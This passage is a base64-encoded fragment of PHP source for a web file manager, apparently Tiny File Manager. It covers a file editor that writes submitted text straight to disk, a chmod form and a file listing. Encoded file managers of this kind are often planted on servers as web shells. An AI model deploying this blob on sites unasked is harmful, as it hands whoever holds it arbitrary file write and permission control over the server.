X3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuICAgICRlZGl0RmlsZSA9ICcgOiA8aT48Yj4nIC4gJGZpbGUgLiAnPFwvYj48XC9pPic7XG4gICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG5cbiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGZpbGUpO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7XG4gICAgaWYgKGlzc2V0KCRfR0VUWydlbnYnXSkpIHtcbiAgICAgICAgaWYgKCRfR0VUWydlbnYnXSA9PSBcImFjZVwiKSB7XG4gICAgICAgICAgICAkaXNOb3JtYWxFZGl0b3IgPSBmYWxzZTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3NhdmVkYXRhJ10pKSB7XG4gICAgICAgICR3cml0ZWRhdGEgPSAkX1BPU1RbJ3NhdmVkYXRhJ107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpO1xuICAgICAgICBmY2xvc2UoJGZkKTtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5JykpO1xuICAgIH1cblxuICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpO1xuICAgICRmaWxlc2l6ZSA9IGZpbGVzaXplKCRmaWxlX3BhdGgpO1xuICAgICRpc190ZXh0ID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcblxuICAgIGlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS01IGNvbC1sZy02IHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLXRvb2xiYXJcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBqcy1hY2UtdG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJub25lXCIgZGF0YS1vcHRpb249XCJmdWxsc2NyZWVuXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLWZ1bGxzY3JlZW5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLWV4cGFuZFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJmaW5kXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXNlYXJjaFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1zZWFyY2hcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJ1bmRvXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwicmVkb1wiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS1yZWRvXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1yZXBlYXRcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwibm9uZVwiIGRhdGEtb3B0aW9uPVwid3JhcFwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS13b3JkV3JhcFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS10ZXh0LXdpZHRoXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnV29yZCBXcmFwJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPVwianMtYWNlLW1vZGVcIiBkYXRhLXR5cGU9XCJtb2RlXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2VsZWN0IERvY3VtZW50IFR5cGUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBNb2RlJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtdGhlbWVcIiBkYXRhLXR5cGU9XCJ0aGVtZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBUaGVtZScpID8+XCIgY2xhc3M9XCJidG4tb3V0bGluZS1zZWNvbmRhcnkgYm9yZGVyLXN0YXJ0LTAgZC1ub25lIGQtbGctYmxvY2tcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtZm9udFNpemVcIiBkYXRhLXR5cGU9XCJmb250U2l6ZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLWxnLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PiAtLTxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZWRpdC1maWxlLWFjdGlvbnMgY29sLXhzLTEyIGNvbC1zbS03IGNvbC1sZy02IHRleHQtZW5kIHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLWdyb3VwXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiIDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz5cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7dmlldz08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXJlcGx5LWFsbFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cImphdmFzY3JpcHQ6dm9pZCgwKTtcIiBvbmNsaWNrPVwiYmFja3VwKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpXCI+PGkgY2xhc3M9XCJmYSBmYS1kYXRhYmFzZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiQWR2YW5jZWRcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mYW1wO2Vudj1hY2VcIj48aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnbnJsJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gU2F2ZVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gZWxzZSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCJQbGFpbiBFZGl0b3JcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXRleHQtaGVpZ2h0XCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnYWNlJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocFxuICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7XG4gICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgY2xhc3M9XCJtdC0yXCIgaWQ9XCJub3JtYWwtZWRpdG9yXCIgcm93cz1cIjMzXCIgY29scz1cIjEyMFwiIHN0eWxlPVwid2lkdGg6IDk5LjUlO1wiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8XC90ZXh0YXJlYT4nO1xuICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKFwia2V5ZG93blwiLCBmdW5jdGlvbihlKSB7aWYgKCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtLm1hdGNoKFwiTWFjXCIpID8gZS5tZXRhS2V5IDogZS5jdHJsS2V5KSAgJiYgZS5rZXlDb2RlID09IDgzKSB7IGUucHJldmVudERlZmF1bHQoKTtlZGl0X3NhdmUodGhpcyxcIm5ybFwiKTt9fSwgZmFsc2UpOzxcL3NjcmlwdD4nO1xuICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHtcbiAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9XCJlZGl0b3JcIiBjb250ZW50ZWRpdGFibGU9XCJ0cnVlXCI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpIC4gJzxcL2Rpdj4nO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICAgICAgPz5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydjaG1vZCddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikge1xuICAgICRmaWxlID0gJF9HRVRbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRtb2RlID0gZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmaWxlKTtcbj8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cbiAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgbWItMlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgPGg2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/PlxuICAgICAgICAgICAgPFwvaDY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1ib2R5XCI+XG4gICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJjYXJkLXRleHRcIj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgJGRpc3BsYXlfcGF0aCA9IGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aCk7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46IDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsncGF0aCddOyA/Pjxicj5cbiAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY2htb2RcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlKSA/PlwiPlxuXG4gICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIGNvbXBhY3QtdGFibGVcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PFwvYj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ0dyb3VwJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3RoZXInKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdSZWFkJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1clwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDA0MDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJnclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwNDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJvclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDQpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjogcmlnaHRcIj48Yj48P3BocCBlY2hvIGxuZygnV3JpdGUnKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInV3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDIwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImd3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAyMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cIm93XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwMikgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdFeGVjdXRlJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1eFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAxMDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJneFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMTApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJveFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RhYmxlPlxuXG4gICAgICAgICAgICAgICAgICAgIDxwPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDaGFuZ2UnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvcD5cbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmZtX3Nob3dfaGVhZGVyKCk7XG5mbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG5mbV9zaG93X21lc3NhZ2UoKTtcblxuJG51bV9maWxlcyA9IGNvdW50KCRmaWxlcyk7XG4kbnVtX2ZvbGRlcnMgPSBjb3VudCgkZm9sZGVycyk7XG4kYWxsX2ZpbGVzX3NpemUgPSAwO1xuPz5cbjxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cInB0LTNcIj5cbiAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImdyb3VwXCIgdmFsdWU9XCIxXCI+XG4gICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgIDxkaXYgY2xhc3M9XCJ0YWJsZS1yZXNwb25zaXZlXCI+XG4gICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIHRhYmxlLWJvcmRlcmVkIHRhYmxlLWhvdmVyIHRhYmxlLXNtXCIgaWQ9XCJtYWluLXRhYmxlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8dGhlYWQgY2xhc3M9XCJ0aGVhZC13aGl0ZVwiPlxuICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9XCJ3aWR0aDozJVwiIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cImpzLXNlbGVjdC1hbGwtaXRlbXNcIiBvbmNsaWNrPVwiY2hlY2tib3hfdG9nZ2xlKClcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCJqcy1zZWxlY3QtYWxsLWl0ZW1zXCI+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgIC